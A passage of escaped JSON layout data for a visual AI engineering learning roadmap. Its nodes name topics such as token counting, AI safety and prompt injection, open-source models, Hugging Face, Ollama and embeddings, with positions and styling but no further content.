\"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"qzvp6YxWDiGakA2mtspfh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 910.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Maximum Tokens\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 910.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FjV3oD7G2Ocq5HhUC17iH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 963.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Token Counting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 963.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DZPM9zjCbYYWBPLmQImxQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.8618127280066,\n        \"y\": 1016.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pricing Considerations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 851.8618127280066,\n        \"y\": 1016.900748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nXsjZiJGgFyOO8b0J-E2V\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 842.3618127280065,\n        \"y\": 1233.900748222349\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prompt Engineering Roadmap\",\n        \"href\": \"https://roadmap.sh/prompt-engineering\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 842.3618127280065,\n        \"y\": 1233.900748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8ndKHDJgL_gYwaXC7XMer\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 522.5,\n        \"y\": 1207.6146370882086\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Safety and Ethics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"a_3SabylVqzzOyw3tZN5f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 522.5,\n        \"y\": 1207.6146370882086\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r3lmdGQuphdbxA3Zd3e8x\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 102.47059387846707,\n        \"y\": 1365.6030951949779\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Understanding AI Safety Issues\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"_G2yiGWt55mSuqhfEL_vt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 102.47059387846707,\n        \"y\": 1365.6030951949779\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"cUyLT6ctYQ1pgmodCKREq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1199.5015627391044\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prompt Injection Attacks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1199.5015627391044\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lhIU0ulpvDAn1Xc3ooYz_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1305.5015627391044\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bias and Fairness\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1305.5015627391044\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sWBT-j2cRuFqRFYtV_5TK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1252.5015627391044\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Security and Privacy Concerns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1252.5015627391044\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Pt-AJmSJrOxKvolb5_HEv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1520.7260836911958\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conducting adversarial testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ONLDyczNacGVZGojYyJrU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1520.7260836911958\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ljZLa3yjQpegiZWwtnn_q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1414.7260836911958\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OpenAI Moderation API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1414.7260836911958\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4Q5x2VCXedAWISBXUIyin\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1467.7260836911958\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Adding end-user IDs in prompts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1467.7260836911958\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qmx6OHqx4_0JXVIv8dASp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1573.7260836911958\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Robust prompt engineering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ONLDyczNacGVZGojYyJrU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1573.7260836911958\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t1SObMWkDZ1cKqNNlcd9L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1626.7260836911958\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Know your Customers / Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ONLDyczNacGVZGojYyJrU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1626.7260836911958\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ONLDyczNacGVZGojYyJrU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1679.7260836911958\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Constraining outputs and inputs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.47059387846707,\n        \"y\": 1679.7260836911958\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_G2yiGWt55mSuqhfEL_vt\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 140.47059387846707,\n        \"y\": 1740.701849711868\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Safety Best Practices\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 140.47059387846707,\n        \"y\": 1740.701849711868\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"a_3SabylVqzzOyw3tZN5f\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 522.5,\n        \"y\": 1372.7838848882502\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OpenSource AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 522.5,\n        \"y\": 1372.7838848882502\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RBwGsq9DngUsl8PrrCbqx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 841.1539837884804,\n        \"y\": 1318.7838848882502\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open vs Closed Source Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rTT2UnvqFO3GH6ThPLEjO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 841.1539837884804,\n        \"y\": 1318.7838848882502\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"97eu-XxYUH9pYbD_KjAtA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 841.1539837884804,\n        \"y\": 1372.7838848882502\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Popular Open Source Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rTT2UnvqFO3GH6ThPLEjO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 841.1539837884804,\n        \"y\": 1372.7838848882502\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v99C5Bml2a6148LCJ9gy9\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 841.6087863651624,\n        \"y\": 1426.9424648726686\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hugging Face\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rTT2UnvqFO3GH6ThPLEjO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 841.6087863651624,\n        \"y\": 1426.9424648726686\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YLOdOvLXa5Fa7_mmuvKEi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1580.9265129447253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hugging Face Hub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bGLrbpxKgENe2xS1eQtdh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1580.9265129447253\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YKIPOiSj_FNtg0h8uaSMq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1527.9265129447253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hugging Face Tasks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1527.9265129447253\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nDVgsa7xov1RjEMJeFAE9\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 869.6087863651624,\n        \"y\": 1486.6598997473122\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Finding Open Source Models\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"dDYwvkBj-voqoFCqSBfVr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 869.6087863651624,\n        \"y\": 1486.6598997473122\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"dDYwvkBj-voqoFCqSBfVr\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 875.6087863651624,\n        \"y\": 1641.8285839892083\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Using Open Source Models\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 228,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 875.6087863651624,\n        \"y\": 1641.8285839892083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"3kRTzlLNBnXdTsAEXVu_M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1682.8285839892083\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Inference SDK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bGLrbpxKgENe2xS1eQtdh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1682.8285839892083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bGLrbpxKgENe2xS1eQtdh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1735.8285839892083\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Transformers.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1735.8285839892083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rTT2UnvqFO3GH6ThPLEjO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 841.6087863651624,\n        \"y\": 1805.9687120415522\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ollama\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 841.6087863651624,\n        \"y\": 1805.9687120415522\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ro3vY_sp6xMQ-hfzO-rc1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1862.9687120415522\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ollama Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1862.9687120415522\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TsG_I7FL-cOCSw8gvZH3r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1916.9687120415522\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ollama SDK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.6087863651624,\n        \"y\": 1916.9687120415522\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"--ig0Ume_BnXb9K2U7HJN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 487.3795624782034,\n        \"y\": 1814.9687120415522\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What are Embeddings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tt9u3oFlsjEMfPyojuqpc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 487.3795624782034,\n        \"y\": 1814.9687120415522\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eMfcyBxnMY_l_5-8eg6sD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 497.90686980833937,\n        \"y\": 1906.0927158417944\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Semantic Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 497.90686980833937,\n        \"y\": 1906.0927158417944\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HQe9GKy3p0kTUPxojIfSF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 497.90686980833937,\n        \"y\": 2012.0927158417944\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Recommendation Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 497.90686980833937,\n        \"y\": 2012.0927158417944\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AglWJ7gb9rTT2rMkstxtk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 497.90686980833937,\n        \"y\": 2065.0927158417944\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Anomaly Detection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 497.90686980833937,\n        \"y\": 2065.0927158417944\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"06Xta-OqSci05nV2QMFdF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 497.90686980833937,\n        \"y\": 1959.0927158417944\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Classification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 497.90686980833937,\n        \"y\": 1959.0927158417944\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OZvk1d0XxXwJwbEUYqnFq\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 450.8795624782034,\n        \"y\": 1573.7260836911958\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Embeddings & Vector Databases\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 340,\n      \"height\": 64,\n      \"style\": {\n        \"width\": 340,\n        \"height\": 64\n      },\n      \"positionAbsolute\": {\n        \"x\": 450.8795624782034,\n        \"y\": 1573.7260836911958\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 340,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"S4LeKcmhmhOxGmDXWrYSW\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 509.90686980833937,\n        \"y\": 2125.0927158417944\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Use Cases for Embeddings\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 509.90686980833937,\n        